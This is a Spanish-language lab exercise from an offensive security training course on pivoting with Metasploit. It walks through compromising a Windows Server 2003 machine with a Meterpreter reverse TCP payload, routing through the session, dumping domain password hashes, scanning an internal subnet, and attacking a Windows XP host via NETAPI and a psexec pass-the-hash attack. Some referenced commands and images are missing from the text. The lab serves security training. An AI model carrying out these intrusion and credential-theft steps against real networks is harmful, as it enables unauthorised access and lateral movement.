Esta práctica debe de hacerse desde dos maquinas físicas, 4 maquinas
virtuales
Nota: Tener presente que en el esquema anterior los puntos rojos representan dos tarjetas de
red en el servidor Windows 2003, cada una de ellas debe de esta configurada con diferentes
subredes (Segmentos de red). La que está conectada al segmento de red que está en bridge,
esta suministrada directamente por el servidor DHCP de la maquina local. Y la otra tarjeta
podemos asignarle una dirección IP como la 10.0.0.1 mascara 255.255.255.0. Tener presente
primero prender el Windows server y renombrar la tarjeta de red actual como WAN, y la otra
que se va a crear, se renombra como LAN.
Es altamente importante ensayar que el si se presente ping entre los diferentes segmentos
de red antes de comenzar la práctica.
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
Los pasos que se deben de realizar paso para poder lograr el proceso de pivoting en la
maquina victima (Windows XP Victima final) es el siguiente:
1) Lo primero es configurar las tarjetas de red para el laboratorio, las cuales se configuran de la
siguiente manera:
Windows Server: debe de tener dos tarjetas de red una conectada en modo bridge, y la
segunda la vamos a conectar en modo VMNET2. Justo como se puede apreciar en la siguiente
imagen.
Recordar que la que está en bridge, obtiene DHCP por medio de la red LAN, y la que está en
VMNET2 se le configura manualmente una 10.0.0.1/24.
2) Una vez configuradas las tarjetas de red, el siguiente paso es integrar a Windows XP al
dominio que se encuentra en Windows Server 2003.
3) El tercer paso es vulnerar a Windows Server por su tarjeta de red configurada en modo
Bridge. Lo anterior se hace desde Linux BT5. Recordar que BT5 debe de estar configurado
también en modo Bridge, y por el segmento de red de Windows Server. Se recomienda usar un
exploit al cual sea vulnerable, y en el PAYLOAD usar Windows Meterpreter Reverse TCP.
4) El cuarto paso es averiguar cuantas tarjetas de red tiene el equipo víctima, y la configuración
de estas. Si todo va hasta aquí bien, se deben de identificar 2 tarjetas de red.
Con el anterior comando se puede identificar otros host conectados al segmento de red
alterno del servidor 2003.
5) Salir de meterpreter con el comando background para proceder a agregar una ruta a
nuestra maquina, lo cual hacemos con el siguiente comando:
© www.dsteamseguridad.com
Certified Offensive and Defensive Security Professional -CODSP Training
route add 10.0.0.0 255.255.255.0 1 (ojo el ultimo 1 pertenece a la sesión que se abrió con
Meterpreter)
Si se presentan problemas con adicionar la ruta, se puede optar por los siguientes comandos:
6) Una vez que se tiene la ruta, el siguiente paso es sacar los Hash de los usuarios del dominio
llamado METASPLOIT. Lo anterior ya se vio en prácticas de laboratorio pasadas.
7) El siguiente paso es buscar host activos en la red, para lo cua podemos hacer uso del
modulo auxiliar de Metasploit llamado: auxiliary/scanner/portscan/tcp. Este módulo nos pide
los puertos, que para el caso vamos a darle 80,135,139,445, y nos pide la víctima, que para el
caso solo vamos a comenzar el Scanning desde la IP 10.0.0.1 hasta la 10.0.0.15. Luego le
damos run, y si todo va bien, debemos de ver la IP 10.0.0.11, perteneciente a Windows XP, con
todos sus respectivos puertos abiertos.
Lanzar exploit:
8) Se puede proceder a lanzar de nuevo el exploit NETAPI, pero esta vez se realiza contra el
equipo Windows XP, pero esta vez se debe de ejecutar el PAYLOAD meterpreter/bind_tcp
9) También podemos lanzar otro ataque al protocolo SMB, lo cual podemos realizar con el
PAYLOAD llamado: exploit/windows/smb/psexec. Cuando seleccionemos este PAYLOAD, se le
deben de asignar las siguientes variables (Tener presente que para este exploit se requiere de
los hash que obtuvieron en pasos anteriores de esta práctica).
RHOST: 10.0.0.11
SMBUser administrator
SMBPass se le coloca el hash obtenido en puntos anteriores de esta práctica (Ojo copiar y
Pegar el HASH, en lo que respecta al contenido que esta antes de :::)
SMBDomain (Colocar el nombre del dominio, el cual debe de ser METASPLOIT)
Y por último el PAYLOAD, el cual es Meterpreter/bind_tcp.
Finalmente se ejecuta con el comando run
© www.dsteamseguridad.com